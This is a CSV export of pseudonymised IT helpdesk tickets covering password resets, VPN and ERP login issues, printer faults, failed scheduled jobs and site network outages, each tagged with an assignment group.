sponsor portal receive ""sponsor portal internal error"" when attempting to issue guest wifi access_x000D_ +this is the link i was given to use:_x000D_ +#createknownaccountssummary_x000D_ +",GRP_0 +"user needs help to login to the company vpn. user needs help to login to the company vpn._x000D_ +-connected to the user system using teamviewer._x000D_ +-help the user login to the company vpn._x000D_ +-user confirmed he is now abl eto login to the erp SID_34._x000D_ +-issue resolved.",GRP_0 +need to map mailboxes of colleagues. need to map mailboxes of colleagues.,GRP_0 +erp SID_34 password reset erp SID_34 password reset,GRP_0 +"new team details not updated on bobj reports from ess new team and manager details not updated on bobj reports from ess. on opening the bex reports from ess (refer screenshot) the reports still shows the old team data. need to reflect the new team data._x000D_ +_x000D_ +new manager details are already updated on erp._x000D_ +_x000D_ +phone: 204 78sartlgeo lhqksbdx902",GRP_9 +"email font showing very small when replying to emails. email font showing very small when replying to emails._x000D_ +-connected to the user system using teamviewer_x000D_ +-corrected the font size._x000D_ +-advised the user to check now._x000D_ +-user confirmed all is fine now._x000D_ +-issue resolved.",GRP_0 +reset passwords for hdthy v hstdd using password_management_tool password reset. reset passwords for hdthy v hstdd using password_management_tool password reset.,GRP_17 +computer in the maintenance dept. is down. please fix. computer in the maintenance dept. is down. please fix.,GRP_3 +computer is down in the old cnc area. please fix for erp. computer is down in the old cnc area. please fix for erp.,GRP_3 +"user needs new telephony_software password. user needs new telephony_software password. +",GRP_7 +"vip - printer connection request to ag99435 + +received from: sbgvrncj.idfhtoqv@gmail.com + +hello, +i want to connect my workstation to printer ag99435 in germany. +the following screen shot says i need permission to connect to this printer from the system administrator. + +[cid:image003.jpg@01d22f99.9aa063b0] +many ",GRP_0 +i cannot get onto the network on my pc. i cannot get onto the network on my pc.,GRP_3 +"vip 1 :login issue login issue_x000D_ +-verified user details.(employee# & manager name)_x000D_ +-checked the user name in ad and unlocked the account.._x000D_ +-advised the user to login and check._x000D_ +-caller confirmed that she was able to login._x000D_ +-issue resolved.",GRP_0 +misplaced password for the hub unable to login to the hub,GRP_0 +"please reset my SID_34 password + +received from: azxhejvq.fyemlavd@gmail.com + +user id gdthrujt + +",GRP_0 +need to setup guest wi fi access need to setup guest wi fi access,GRP_0 +"trouble viewing and printing commerirtcal inwarehouse_tools _x000D_ +_x000D_ +received from: iksqbuxf.muzxgwvk@gmail.com_x000D_ +_x000D_ +good day._x000D_ +_x000D_ +please assist with issue below._x000D_ +_x000D_ +[cid:image001.png@01d22f8f.02e693a0]_x000D_ +_x000D_ +[cid:image002.png@01d22f8f.02e693a0]_x000D_ +_x000D_ +when clicking to view the commercial inwarehouse_tool, this appears blank._x000D_ +_x000D_ +please help._x000D_ +_x000D_ +kind ",GRP_18 +outlook won't open. outlook won't open.,GRP_3 +"engineering tool takes a long time to load issue is severe especially after 3:30 pm everyday._x000D_ +wants to talk to engineering tool administration team to check on account.",GRP_0 +"folders list in outlook dierppeared cannot see any of the folders, in outlook, emails appeared in the view",GRP_0 +windows password reset windows password reset,GRP_0 +"cannot connect to network resources in hq cannot access erp, hq network drives +internal network drive access is working fine. + +performed a flush dns / winsock reset, still nogo. + +multiple users affected + +ip: 10.170.245.10 +",GRP_4 +"dringend : schulungsraum 1 . sprechanlage funktioniert nicht. schulungsraum 1 . sprechanlage funktioniert nicht._x000D_ +",GRP_28 +data back up for germany data back up for germany,GRP_12 +server ekpsm005678 located at germany location is down since 2:27am on 10/15/16 server ekpsm005678 located at germany location is down since 2:27am on 10/15/16 ,GRP_12 +germany - (company):pbx trunk card &pbx since 6:11 am et on 10/26. germany - (company):pbx trunk card &pbx since 6:11 am et on 10/26.,GRP_8 +konto gespaerrt. konto gespaerrt.,GRP_0 +"unable to sign in to the vpn i am not able to sign onto vpn with my user name and password. it says incorrect password, but it is the one i always use.",GRP_0 +"security incidents - ( #in33071122 ) :[ipbl]: [no entry] beshryulisted ip - lmsl8405227 source ip : +system name :lmsl9516338 +user name:trhdyd mffbsf +location :usa +sep , sms status :no updates +field sales user ( yes / no) : yes +dsw event log:see below + +",GRP_3 +shortcut opening multiple folders shortcut opening multiple folders,GRP_0 +"system updation for govt. tender e-procurement + +received from: qalyeunp.eiyrcxog@gmail.com + +dear sir, + +we required system updating for govt. tender uploading in e-portal on the following computer: + +computer name : aiuw8911576789 +service tag no. : jnjxbq1234 +model details : optiplex 780 +please do the needful and confirm on urgent basis. + + +with kind ",GRP_19 +unable to login to pc account locked out,GRP_0 +"urgent - access to rtnzvplq erhmuncq disconnected + +received from: osjqfbvw.hlmgrfpx@gmail.com + +hi, + +could you please help, after an error message ""server disconnected"" i cannot make any edits to trgdyyufs' calendar, no invitations from his calendar, no calendar entries possible. + +very urgent. +",GRP_0 +"job Job_2103 failed in job_scheduler at: 10/26/2016 05:43:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_2103 failed in job_scheduler at: 10/26/2016 05:43:00",GRP_8 +"job pp_EU_tool_conf_ap1 failed in job_scheduler at: 10/26/2016 05:42:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job pp_EU_tool_conf_ap1 failed in job_scheduler at: 10/26/2016 05:42:00",GRP_8 +"expense report - receipt entry screen keeps locking up expense report - receipt entry screen keeps locking up_x000D_ +this is causing delays with entering expense reports, especially wherein multiple entries are required.",GRP_0 +install EU_tool \laeusvjo fvaihgpx install EU_tool \laeusvjo fvaihgpx,GRP_24 +"access to m:\live\mw_live(HostName_95) please provide access to below drive to view the drawings_x000D_ +m:\live\mw_live",GRP_12 +"network outage:germany site is down since 4.46amet on 10/26. what type of outage: ____x_network _____circuit _____power (please specify what type of outage)_x000D_ +_x000D_ +1. top 23 cert site ? ____yes_____ (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? _____4.46amet on 10/26._________________x000D_ +_x000D_ +3. scheduled maintenance ( power) ? _no_____ (yes/no/na) company power _________ provider power __________x000D_ + _x000D_ +4. scheduled maintenance ( network) ? _no______ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +5. does site have a backup circuit ? __no____ (yes/no/na) _x000D_ +_x000D_ +6. backup circuit active ? _na_______ (yes/no/na) _x000D_ +_x000D_ +7. site contact notified (phone/email) ? _________ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? ___________ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? ___________ (yes/no/na) _x000D_ +_x000D_ +10. verified site working on backup circuit ? _______ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) _________________________ _x000D_ +_x000D_ +12. notified gsc ________ (yes/no/na) cert started ?________ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_8 +"entire location at germany network is down.(germany) entire location at germany network is down. +-user mention all the applications are down(erp, outlook, internet, intranet) +",GRP_8 +HostName_19 : volume c:\ disk consumed is 85% . HostName_19 : volume c:\ disk consumed is 85% .,GRP_12 +"let's talk - not playing _x000D_ +_x000D_ +received from: rjanhbde.owfkyjcp@gmail.com_x000D_ +_x000D_ +hello ,_x000D_ +_x000D_ +refer the below screen shot._x000D_ +_x000D_ +_x000D_ +[cid:image001.png@01d22f8f.98f6b6e0]_x000D_ +_x000D_ +warm ",GRP_19 +HostName_1035(bobj): cpu load on server is high currently utilization is 100% since 3:57am on 10/26/16 HostName_1035(bobj): cpu load on server is high currently utilization is 100% since 3:57am on 10/26/16,GRP_12 +"purchasing can not working purchasing input the related the information ,also generated the ordered number 21765757669 .but check the erp me5a no data can check .pls help ,",GRP_29 +EU_tool aktualisierung alle 15 min läuft nicht EU_tool aktualisierung alle 15 min läuft nicht,GRP_25 +kindly copy the desktop files of (user id: vvgtyrhds) to (vvkuhtdppg) local folder. kindly copy the desktop files of (user id: vvgtyrhds) to (vvkuhtdppg) local folder.,GRP_19 +"problems with nikulatrhdy + +received from: koahsriq.wdugqatr@gmail.com + +hello, +the account nikulatrhdy is ""currently locked out"". the user cannot log on the system. +please help. + +с уважением, +евгения. + + +koahsriq wdugqatr, +administrative assistant. +koahsriq.wdugqatr@gmail.com + +",GRP_0 +"circuit outage: india carrier (company-ap-ind-carrier-891-dmvpn-rtr02) is down since 2.45am et on 10/26. what type of outage: _____network _x____circuit _____power (please specify what type of outage)_x000D_ +_x000D_ +1. top 23 cert site ? _____no____ (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? ____2.45am et on 10/26.__________________x000D_ +_x000D_ +3. scheduled maintenance ( power) ? ___no____ (yes/no/na) company power _________ provider power __________x000D_ + _x000D_ +4. scheduled maintenance ( network) ? ___no____ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +5. does site have a backup circuit ? __yes____ (yes/no/na) _x000D_ +_x000D_ +6. backup circuit active ? ____yes____ (yes/no/na) _x000D_ +_x000D_ +7. site contact notified (phone/email) ? _________ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? ___________ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? ___________ (yes/no/na) _x000D_ +_x000D_ +10. verified site working on backup circuit ? _______ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) _________________________ _x000D_ +_x000D_ +12. notified gsc ________ (yes/no/na) cert started ?________ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_8 +"job Job_495 failed in job_scheduler at: 10/26/2016 03:24:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_495 failed in job_scheduler at: 10/26/2016 03:24:00",GRP_8 +"purchasing catalog de-kroschke does not work error message when try to open the shop:_x000D_ +shop failure_x000D_ +you cannot enter the selected shop. _x000D_ +reason_x000D_ +authentication data is missing or cookie was not accepted by client_x000D_ +_x000D_ +catalogue has moved to another url see attached mail with the details_x000D_ +",GRP_29 +"kalendereinträge - qdxyifhj zbwtunpy hallo, bitte einmal ansehen. danke.",GRP_33 +need a wireless mouse for my laptop need a wireless mouse for my laptop,GRP_28 +labeldrucker wk 44567 druckt nicht mehr labeldrucker wk 44567 druckt nicht mehr,GRP_33 +"job bwhrattr failed in job_scheduler at: 10/26/2016 02:10:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job bwhrattr failed in job_scheduler at: 10/26/2016 02:10:00",GRP_9 +"windows locked + +received from: nmgesubf.wugbalmy@gmail.com + +hi, + + following user id (winows) is locked, pl. help. + +user id : thrydufg, + + +",GRP_0 +"daten kann nicht heruntergeladen werden daten kann nicht heruntergeladen werden. +die maschine ist im stillstand. + +maschine name: wam77035673 + +datei werden von udo. trhsysba@gmail.com geschikt. +datei warden in zip und .exe format + + + + + +",GRP_2 +unable to login to erp SID_34 unable to login to erp SID_34,GRP_0 +"erp schulung raum :7 kann beamer nicht verbinden erp schulung raum :7 kann beamer nicht verbinden_x000D_ +_x000D_ +reopened as user called in again. please refer to tkt: inplant_868331",GRP_28 +"job Job_1854 failed in job_scheduler at: 10/26/2016 01:36:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1854 failed in job_scheduler at: 10/26/2016 01:36:00",GRP_8 +"unable to scan after resetting password on password_management_tool unable to scan after resetting password on password_management_tool. +contact number: + +scan documents are not landing in the scan folder, please check +",GRP_19 +"job Job_2668 failed in job_scheduler at: 10/26/2016 01:05:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_2668 failed in job_scheduler at: 10/26/2016 01:05:00",GRP_8 +"printer issue ""your file could not be printed due to an error on \\HostName_769\tc78 on e05""",GRP_3 +"engineering record issue 1.) eng records for engineering tool can't used，see attachment for detailed_x000D_ +",GRP_25 +"business_client not working _x000D_ +_x000D_ +received from: lvxakohq.tsfnhowj@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +_x000D_ +business_client soft ware not working in my computer._x000D_ +_x000D_ +with kind ",GRP_0 +"new password not working in vpn _x000D_ +_x000D_ +received from: wdpzfqgi.zndgqcux@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +_x000D_ +can you please help me to put new password to my account?_x000D_ +_x000D_ +yesterday i have changed my password, which worked some 2 hors or so._x000D_ +then since that it does not work._x000D_ +_x000D_ +my suspision is that the new password was the same like in the past (1 year ago or so)._x000D_ +_x000D_ +i want to log into password_management_tool password manager but without any success._x000D_ +_x000D_ +[cid:image005.jpg@01d22f4f.c9f93500]_x000D_ +_x000D_ +[cid:image006.jpg@01d22f4f.c9f93500]_x000D_ +_x000D_ +s pofgtzdravem / kind ",GRP_0 +"pls extend mm# 7429784, 7429785 and 7429786 to my user name, thnak you! need to create prs for those mm#. pls extend mm# 7429784, 7429785 and 7429786 to my user name, thnak you! need to create prs for those mm#.",GRP_29 +"setting up my hand set for emails _x000D_ +_x000D_ +received from: ynsqjehx.kqgrsawl@gmail.com_x000D_ +_x000D_ +hi it experts,_x000D_ +_x000D_ +i'd like to continue receive your support for setting up my hand set for emails._x000D_ +_x000D_ +_x000D_ +pls find my below reply._x000D_ +_x000D_ +a wifi and data plan from your service provider is required to setup email on your mobile device. will use wifi_x000D_ +_x000D_ +is this device company owned? y/n n_x000D_ +_x000D_ +is this a replacement of your old device? y/n y_x000D_ +_x000D_ +if yes, please ensure company data has been removed from the old device (delete exchange setup from settings> mail, contacts, calendar). ok_x000D_ +_x000D_ +for a personal device, please attach approval form signed by manager to the ticketing_tool ticket. enclsoed_x000D_ +_x000D_ +please ensure the device is company approved for email setup._x000D_ +_x000D_ +if it is not a company approved device please contact the gsc._x000D_ +_x000D_ +for help with exchange setup on a personal device, please contact the device vendor. you may also refer to the faq section for steps._x000D_ +_x000D_ +has the exchange setup been completed on your device? y/n seems y_x000D_ +_x000D_ +_x000D_ +best ",GRP_0 +unable to login to erp SID_34 unable to login to erp SID_34,GRP_0 +"close cost center + +received from: bujiesrg.zopcrshl@gmail.com + +dear all, + +can you help to close the cost center of cnn003456 for 5463789? ",GRP_10 +unable to login to windows unable to login to windows ,GRP_0 +"credit memo request 7112610434 approva hello,_x000D_ +_x000D_ +i have messages to process documents in my erp workflow, but i find none._x000D_ +please advise._x000D_ +_x000D_ +_x000D_ +",GRP_13 +"engineering_tool upload issue from: ufgkybsh ijswtdve +sent: tuesday, october 25, 2016 8:29 pm +to: nwfodmhc exurcwkm +subject: tgryds fw: engineering_tool upload issue + +dear sir/mam, + +please find below the screenshot of engineering_tool issue faced during upload. + +please help me to resolve the same. + + +",GRP_25 +unable to log in to collaboration_platform unable to log in to collaboration_platform ,GRP_0 +ticket update on inplant_872730 ticket update on inplant_872730,GRP_0 +unable to pull up reports on sales and markhtyeting tab unable to pull up reports on sales and markhtyeting tab in ess,GRP_0 +reset users password reset users password,GRP_0 +query regarding logging in to benefits portal query regarding logging in to benefits portal,GRP_0 +inquiry on erp SID_37 bex analysis inquiry on erp SID_37 bex analysis,GRP_0 +password reset request password reset request,GRP_0 +"interface: fastethernet0/1 on usa-plant-mpls-2811, is down since 10/25/2016 3:27 pm interface: fastethernet0/1 on usa-plant-mpls-2811, is down since 10/25/2016 3:27 pm_x000D_ +(cc communications 10mbps, circuit id is cccethxakm76356 )",GRP_8 +password reset password reset ,GRP_0 +please assist thrys hsdbdtt in logging into reporting_tool from crm. see attached screen shot. he was unable to access using his windows credentials. please assist thrys hsdbdtt in logging into reporting_tool from crm. see attached screen shot. he was unable to access using his windows credentials. ,GRP_2 +outlook freezing on mobile broadband outlook freezing on mobile broadband,GRP_0 +configure calendar on phone sync with outlook configure calendar on phone sync with outlook,GRP_34 +outlook freezing issue outlook freezing issue,GRP_0 +unable to find shortcut on erp unable to find shortcut on erp,GRP_0 +"hr_tool not working the hr_tool app on the sso page opens to a beshryu screen when i open the pay and taxes tab and does nothing. i can not view any pay records._x000D_ +",GRP_0 +"outlook will not open i am unable to open outlook. i am getting the error message:_x000D_ +""a new guard page for the stack cannot be created""_x000D_ +_x000D_ +i have tried restarting the computer._x000D_ +i have tried starting outlook in safe mode_x000D_ +i have tried using the repair function for outlook._x000D_ +_x000D_ +please advise, ",GRP_0 +need access to erp kp06789 need access to kp06789 to enter forecast for it cost centers. i had requested and received this access at the end of august. access appears to be gone again. need by 10/31/16. ,GRP_35 +password reset for yscgjexz hxlbvjgf password reset for yscgjexz hxlbvjgf,GRP_0 +"node lhqsv4567465 located at usa is down since 10/25/2016 1:47 pm. node lhqsv4567465 located at usa is down since 10/25/2016 1:47 pm. +interface: fc7/20 · lhqsv4567465 on sandplant_162 and sandir02 is down since 10/25/2016 1:47 pm.",GRP_8 +account lock and need to unlock account lock and need to unlock,GRP_0 +followup on ticket_no0448851 followup on ticket_no0448851,GRP_0 +"hr_tool payroll sign in _x000D_ +_x000D_ +received from: gvcfhwjy.lyxcorqb@gmail.com_x000D_ +_x000D_ +hr_tool etime. unable to see payroll statements. try to access and receive screen below. it will not move out of this view._x000D_ +_x000D_ +_x000D_ +[cid:image003.jpg@01d22ebc.f17f8040]_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +best ",GRP_0 +"vpn password not working _x000D_ +_x000D_ +received from: vewdsifl.zjdmftkv@gmail.com_x000D_ +_x000D_ +pl support to resolve this problem_x000D_ +_x000D_ +",GRP_0 +not able to enter a project in the lean tracker in collaboration_platform. not able to enter a project in the lean tracker in collaboration_platform. see attached errors. ,GRP_0 +"urgent - email delegation. hi i had an associate leave on the vsp at the end of september. i had his outlook in my outlook but now it's gone. i had received an email that it was now stored on collaboration_platform but i don't see anything when i click on the link. can i have his email restored through 2016. + +",GRP_2 +"access to retired employee's collaboration_platform Myhrt sthry retired as plant manager in usa. i have replaced him. i request access to his collaboration_platform to copy relevant documents before it is being deleted as per e-mail below. +---------------------------- +from: mqjdyizg amhywoqg +sent: saturday, october 22, 2016 9:00 am +to: +subject: fw: Myhrt sthry's collaboration_platform for business contents will be preserved for 30 days + +danie…you should follow up on this to see if there are any files you may need. + +utejhdyd + + +vice president and general manager + +from: no-reply@collaboration_platformonline.com [mailto:no-reply@collaboration_platformonline.com] +sent: saturday, october 22, 2016 8:56 am +to: mqjdyizg amhywoqg +subject: Myhrt sthry's collaboration_platform for business contents will be preserved for 30 days + +Myhrt sthry's account has been deleted from the active directory. their collaboration_platform for business will be preserved for 30 days. you're the temporary owner of all documents saved to their collaboration_platform for business. if you would like to save content beyond the 30 day retention period, you can copy important documents to another location. you can also contact your administrator to reassign ownership to another collaboration_platform for business owner. after 30 days, Myhrt sthry's collaboration_platform for business will be permanently deleted. go to Myhrt sthry's collaboration_platform for business at + + +",GRP_16 +cannot open excel files from \\HostName_1351\departments\hrm pricing\current pricing\fy17 and bkzcfmse naslrwdb can. cannot open excel files from \\HostName_1351\departments\hrm pricing\current pricing\fy17 and bkzcfmse naslrwdb can. files are slow to open or will freeze.,GRP_12 +cannot print to prtqx1270 under my profile on rqxw7404175 cannot print to prtqx1270 under my profile on rqxw7404175,GRP_3 +cannot print from windows with new pc i was just given. cannot print from windows with new pc i was just given.,GRP_3 +intermittent wireless issue on 7350 intermittent wireless issue on 7350,GRP_0 +reset passwords for prgewfly ndtfvple using password_management_tool password reset. complete,GRP_17 +reset the password for prgewfly ndtfvple on erp / development / erp completed,GRP_0 +outlook is slow. outlook is slow.,GRP_0 +does the vpn meter the amount of data that can be transferred? does the vpn meter the amount of data that can be transferred?,GRP_0 +"recall: incident ticket_no1563995 has been assigned to oncidblt ucewizyd + +received from: oncidblt.ucewizyd@gmail.com + +trhsys hrydjs would like to recall the message, ""incident ticket_no1563995 has been assigned to oncidblt ucewizyd"". + + +",GRP_9 +password reset password reset,GRP_0 +"account gets locked out. account gets locked out._x000D_ +id changed from company to company._x000D_ +",GRP_0 +password reset password reset,GRP_0 +account locked. account locked.,GRP_0 +" : query : what license does knlrgsiv cqvuexjz has. knlrgsiv cqvuexjz has e1 license._x000D_ +",GRP_0 +unable to login to engineering tool unable to login to engineering tool,GRP_0 +password change request. password change request.,GRP_0 +uacyltoe hxgayczeing - pl ignore uacyltoe hxgayczeing - pl ignore,GRP_36 +reset the password for xoukpfvr oxvakgcl on erp / production / hcm i'm unable to login erp system (engineering tool) SID_34 ,GRP_0 +misplaced login information for ess misplaced login information for ess,GRP_0 +reset erp SID_34 password for vvtgryhud reset erp SID_34 password for vvtgryhud,GRP_0 +unable to login to the hub misplaced username / password.,GRP_0 +"reset passwords for xoukpfvr oxvakgcl using password_management_tool password reset. as per system instruction now i have reset the password, but i'm unable to login erp system SID_34",GRP_17 +misplaced username / password unable to login to the hub,GRP_0 +password reset for axhkewnv zpumhlic in citrix password reset for axhkewnv zpumhlic in citrix ,GRP_0 +unable to use jabra head phone for skype calls unable to use jabra head phone for skype calls,GRP_0 +"removing e-mail reminders from workflow systems of requisition approval removing e-mail reminders from workflow systems of requisition approval. i get repeated e-mail reminders for purchase approval from workflow tasks, but they have been completed long ago. ",GRP_29 +"collaboration_platform deleted information hello, +the user ""tgrsyduf"" accidentally deleted information from collaboration_platform yesterday. is possible recover this information? +",GRP_16 +"collaboration_platform site request hello + +can you add the users below to as team members to the cybersecurity website + +i should have ownership; users below can have edit access. + +qasouhlc xkhsirtd +gzhapcld fdigznbk +ugyothfz ugrmkdhx +raosetuv hmgwrkzb +mfyivqes cpihaxbs +thrdyd dhdtwdd +thrdyakdj yhtdush +jqeczxtn gfjcronyudhakar +akisjtzm uvbmysgcbenezer +qfrntose ivnhumzjalakrisyuhnyrtn +thtudb ghtysui +",GRP_16 +reset the password for dnlhsgyo newducsl on erp / production / erp after setting a new overall password i couldn't access erp. too many fails.sorry for that.,GRP_0 +"workplanning from germany plant plant_119 need in bbo1345 the same erp possibilites hello all +my collegue ""thryduf"" and i ""hddwtra"" need for the future fully erp acceptance for plant plant_27 too +",GRP_2 +probleme mit portal \knlrgsiv cqvuexjz probleme mit portal \knlrgsiv cqvuexjz,GRP_24 +unable to login to erp pp5t463 password reset needed,GRP_0 +unable to login to pc misplaced username / password.,GRP_0 +unable to join and setup skype meeting unable to join and setup skype meeting ,GRP_0 +rma 7112619085 workflow in error status rma 7112619085 workflow in error status - please advise reason for error and restart workflow. ,GRP_13 +setup rechner ewel8323865 für hr.thrydad (thrydad consulting ) \puxsvfwr cwkjruni setup rechner ewel8323865 für hr.thrydad (thrydad consulting ) \puxsvfwr cwkjruni,GRP_24 +employee accounts reactivation etdh thsydaas's etdh thsydaas's 's (employee # 660067598) computer access is terminated. please usa him access back aerp. his last day with company is oct 31.,GRP_2 +"recurrent network outage. (every 15 minutes) in penn recurrent network outage. (every 15 minutes). +intranet and internet both are affected. +contact :",GRP_4 +"engineering tool shows message to all users of south_amerirtca after the logon since monday 10/24/2016, engineering tool users of south_amerirtca reported that engineering tool shows a message after the logon related to the server HostName_1238 (plm server)._x000D_ +please see attached message.",GRP_14 +"bitte konto ewel8323865 reaktivieren \laptop für ein hr prüfer \konto für trhfyd sugajadd ist aktiv .bitte um rückruf . bitte konto ewel8323865 reaktivieren \laptop für ein hr prüfer \konto für trhfyd sugajadd ist aktiv .bitte um rückruf . +fyi + +von: mfyivqes cpihaxbs +gesendet: dienstag, 25. oktober 2016 12:54 +an: ughzilfm cfibdamq +betreff: re: bitte konto ewel8323865 reaktivieren \laptop für ein hr prüfer \konto fürtrhfyd sugajadd ist aktiv .bitte um rückruf . + +hallo , + +bitte ein tickert an help aufmachen, die können das machen + +grüße + + +",GRP_0 +"sales manager views in business objects explorer the following sales managers cannot see the sales manager views in business objects explorer +- tcflirwg ojflyruq +- bmudkpie qolrvbip +- thryd athrdyau +- vksfrhdx njhaqket +please check their security and settings with respect to bobj",GRP_9 +reset passwords for qnxfegjw rljdhmwb using password_management_tool password reset. reset passwords for qnxfegjw rljdhmwb using password_management_tool password reset.,GRP_17 +probleme mit erpgui \tmqfjard qzhgdoua probleme mit erpgui \tmqfjard qzhgdoua,GRP_24 +support für fa.thrydsss-funke \laeusvjo fvaihgpx support für fa.thrydsss-funke \laeusvjo fvaihgpx,GRP_24 +bildband tauschen \drucker we68678 \vepxdgot poezmwny bildband tauschen \drucker we68678 \vepxdgot poezmwny,GRP_24 +"primary telephone flow down - company EU - EU plant hello, writes from company EU plant + +this mail for inform that we have primary telephone flow down + +all incomig calls and external calls are not running. + +i opened a tck to telecom for investigate and for solving the problem. + +tck no . #03437236504 + +",GRP_37 +"bobj access not working + +received from: btvmxdfc.yfahetsc@gmail.com + +hello, +i can now enter bobj but not able to look into any spaces: see below screenshot error when entering any space: +[cid:image001.jpg@01d22eab.12342be0] +[cid:image002.jpg@01d22eab.12342be0] + + + +sales manager company western europe +btvmxdfc.yfahetsc@gmail.com +",GRP_9 +"bobj access for sales managers + +received from: yzugpdco.nsyapewg@gmail.com + +team, +my sales managers are not seeing their team view in bobj anymore (global access). +they need it to pull data analysis. +can you please reinstall global access for: + +- tcflirwg ojflyruq + +- bmudkpie qolrvbip + +- thryd adwjfpbreu + +- vksfrhdx njhaqket +",GRP_9 +"skpe addon gone skpe addon gone +___________________________ + +ic + welcome, our next available agent will be with you shortly... + interaction alerting agent. + website visitor has joined the conversation +maaryuyten + hello , need your help. my skype botton in outlook is gone + hello , need your help. my skype botton in outlook is gone +dwfiykeo argtxmvcumar3 + hello, ",GRP_0 +"job Job_593 failed in job_scheduler at: 10/25/2016 05:07:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_593 failed in job_scheduler at: 10/25/2016 05:07:00",GRP_8 +"hpqc delivers error message: ""user is not maintained in the project fy_13 release. please contact hpqc admin"" my user id: thrydksd' +i´m involved in uat uacyltoe hxgayczeing for ec-ecc and was asked to re-install hpqc client installation kit, what i´ve already done with below links. + + + +when i start hpqc and enter my windows user name and windows password i receive following error message:""user is not maintained in the project fy_13 release. please contact hpqc admin"" + +",GRP_38 +"job Job_495 failed in job_scheduler at: 10/25/2016 04:46:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_495 failed in job_scheduler at: 10/25/2016 04:46:00",GRP_8 +telefon gigaset m2 ex professional (tel.:) läd nicht mehr. anschluss defekt. telefon gigaset m2 ex professional (tel.:) läd nicht mehr. anschluss defekt.,GRP_33 +please setup user trhdaa2 back to startpassword at erp please setup user trhdaa2 back to startpassword at erp,GRP_0 +"erp - change of new costs not working in cockpit - field mvgr4 hello, following problem:_x000D_ +due to necessary changes on tool for an received order i tried to update the costs in cockpit, but when saving the quote, it does not work: error message' field mvgr4 cannot be changed, vbapkom 00010 ready for input' any hints how to solve that? i did that on other q1's before and it worked, only new thing is that we have an order running._x000D_ +erp data, in case it is necessary: order # 36156763 - q1 # 3116244801. concerning items: 10 (as above), 260, 380, 400",GRP_13 +nutzer wk_ksem15462 gesperrt nutzer wk_ksem15462 gesperrt,GRP_33 +"timerecording terminals in plant germany no communication to the server in fürth(bcom server in fürth) timerecording terminals in plant germany no communication to the server in fürth. they are sending the message """,GRP_33 +"job Job_485 failed in job_scheduler at: 10/25/2016 02:33:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_485 failed in job_scheduler at: 10/25/2016 02:33:00",GRP_8 +ie浏览器打开crm系统后提示用户已被注销，无法登录crm系统。 ie浏览器打开crm系统后提示用户已被注销，无法登录crm系统。,GRP_31 +"access to s drive. _x000D_ +_x000D_ +received from: wnvlmsjr.znbvlygd@gmail.com_x000D_ +_x000D_ +hello ,_x000D_ +_x000D_ +kindly request to give access to s drive._x000D_ +_x000D_ +s:\globalengservices\_x000D_ +_x000D_ +_x000D_ +",GRP_12 +kindly add user id : trhsydsff to erp business analytics team in ticketing_tool tool kindly add user id : trhsydsff to erp business analytics team in ticketing_tool tool,GRP_0 +"job Job_1854 failed in job_scheduler at: 10/25/2016 01:36:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1854 failed in job_scheduler at: 10/25/2016 01:36:00",GRP_8 +desktop item missing when save attachment . desktop item missing when save attachment .,GRP_31 +HostName_1030 is currently experiencing high cpu utilization. please investigate! HostName_1030 is currently experiencing high cpu utilization. please investigate!,GRP_12 +"mass - upload programdnty changes to condition table a520 in crm mass - upload programdnty changes to condition table a520 in crm_x000D_ +",GRP_15 + server lnbdm839 (active directory) located in philadelph​ia is down since 12:25 am et on 10/25. server lnbdm839 (active directory) located in philadelph​ia is down since 12:25 am et on 10/25.,GRP_39 +xtsuifdz.wktgzcyl@gmail.com is blocked now as the user said xtsuifdz.wktgzcyl@gmail.com is blocked now as the user said,GRP_0 +"access to //HostName_95/departments/backorderreports + +received from: avurmegj.pxgmjynu@gmail.com + +please give full access to user trhadg45 for folder mentioned in the subject. + +",GRP_12 +"the user's account is blocked now (xtsuifdz.wktgzcyl@gmail.com) name:dbwkxalj cnhgysju +language: +browser:microsoft internet explorer +email:dbwkxalj.cnhgysju@gmail.com +customer number: + +summary:the user's account is blocked now (xtsuifdz.wktgzcyl@gmail.com)",GRP_0 +"job Job_1330 failed in job_scheduler at: 10/25/2016 00:12:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1330 failed in job_scheduler at: 10/25/2016 00:12:00",GRP_9 +zeitdaten für germany steel fehlen seit gestern ca. 15.00 uhr fehlen alle zeitdaten. daten werden dringend für die täglichen auswertungen (leistungsgrad u.s.w.) benötigt,GRP_33 +"network outage:poncacity -germany-dmvpn router is down since 11:23 am et on 10/24. what type of outage: ___x__network _____circuit _____power (please specify what type of outage)_x000D_ +1. top 23 cert site ? ____no_____ (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? _____________11:23 am et on 10/24._________x000D_ +_x000D_ +3. scheduled maintenance ( power) ? ___no____ (yes/no/na) company power _________ provider power __________x000D_ + _x000D_ +4. scheduled maintenance ( network) ? ___na____ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +5. does site have a backup circuit ? ___no___ (yes/no/na) _x000D_ +_x000D_ +6. backup circuit active ? 